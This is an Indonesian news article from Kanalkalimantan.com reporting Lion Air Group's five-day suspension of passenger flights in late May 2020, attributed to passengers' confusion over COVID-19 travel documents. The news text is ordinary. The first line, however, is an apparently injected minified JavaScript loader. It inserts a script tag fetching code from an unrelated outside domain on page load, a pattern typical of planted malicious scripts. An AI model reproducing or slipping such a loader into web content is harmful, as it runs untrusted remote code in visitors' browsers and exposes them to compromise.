(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Maskapai penerbangan swasta terbesar di Indonesia, Lion Air Group berencana menghentikan sementara operasional penerbangan selama lima hari, terhitung Rabu (27/5/2020) hingga Minggu (31/5/2020). Langkah ini diambil sebagai dukungan terhadap kebijakan pemerintah terkait pencegahan penyebaran Covid-19.
Dalam keterangan tertulis yang diterima Kanalkalimantan.com pada Rabu (27/5/2020) malam, Corporate Communication Strategic Lion Air Group Danang Mandala Prihantoro mengungkapkan, berdasarkan evaluasi atas pelaksanaan operasional penerbangan sebelumnya, banyak calon penumpang yang tidak dapat melanjutkan perjalanan atau tidak bisa terbang dan harus kembali dengan segala biaya yang telah dikeluarkan atau kerugian.
Hanya karena ketidaktahuan atau ketidakpahaman atas ketentuan-ketentuan yang harus dipenuhi untuk dapat melaksanakan perjalanan dengan pesawat udara.
Dengan demikian, menurut Danang, Lion Air Group berkesimpulan bahwa para calon penumpang masih membutuhkan sosialisasi yang lebih intensif agar lebih mengetahui dan memahami secara jelas terkait dengan ketentuan-ketentuan dan persyaratan yang dibutuhkan untuk rencana bepergian menggunakan pesawat udara.
“Calon penumpang belum sepenuhnya mengetahui dan memahami bagaimana dokumen-dokumen perjalanan dipenuhi dan dimana calon penumpang mendapatkannya. Lion Air Group juga harus menjaga serta memastikan kondisi kesehatan fisik dan jiwa seluruh karyawan berada dalam keadaan baik, pasca operasional sebelumnya,” kata Danang.
Lanjut Danang, Lion Air Group berkesimpulan, berdasarkan kondisi di atas, masih dibutuhkan waktu agar para calon penumpang lebih mengetahui dan melengkapi dokumen-dokumen yang diperlukan untuk melakukan perjalanan dengan menggunakan pesawat udara.
“Sehingga Lion Air Group memutuskan untuk melakukan sosialisasi yang lebih intensif melalui website dan kantor-kantor cabang serta menghentikan sementara operasional penerbangan selama lima hari, yaitu mulai 27 Mei sampai dengan 31 Mei 2020,” pungkas Danang.
Kanalkalimantan.com pun mengkonfirmasi penghentian sementara operasional Lion Air Group ini lebih lanjut kepada Area Manager Lion Air Group Kalselteng Agung Purnama melalui pesan singkat. Ia pun membenarkan jika maskapai yang bernaung di bawah Lion Air Group di Indonesia yaitu Lion Air, Wings Air dan Batik Air menghentikan sementara operasional selama lima hari.
“Iya, dengan begitu sementara kita belum ada penerbangan komersial sampai tanggal 31 Mei 2020. Yang ada hanya penerbangan kargo saja,” kata Agung, Rabu (27/5/2020) malam.
Sebelumnya, lanjut Agung, Lion Air Group menerbangkan penumpang pesawat yang disebut sebagai excemption flight yang dimulai sejak 10 Mei 2020 lalu. Namun, excemption flight ini pun cukup terbatas. “Kebetulan exemption flight ini disesuaikan dengan kebutuhan, yaitu dari Banjarmasin ke Jakarta dan Surabaya yang menjadi rute utamanya,” lugas Agung.
Diakuinya, memang ada calon penumpang yang kebingungan dengan dokumen-dokumen perjalanan selama pandemi Covid-19. “Sering sih, tidak terlalu banyak di kita tapi memang ada beberapa,” singkatnya.
Lalu, apakah ada calon penumpang terdampak penghentian sementara operasional Lion Air Group? Diakui Agung, ada beberapa calon penumpang yang terdampak. Namun, tidak terlalu banyak dan masih dalam bentuk booking tiket.
“Jadi bisa kita informasikan ke calon penumpang tersebut. Karena memang sebetulnya exemption flight ini bagi kriteria penumpang berkategori khusus dan bagi penumpang yang sudah siap terbang saja dengan syarat-syarat yang telah lengkap,” tukas Agung. (Kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
This website uses cookies.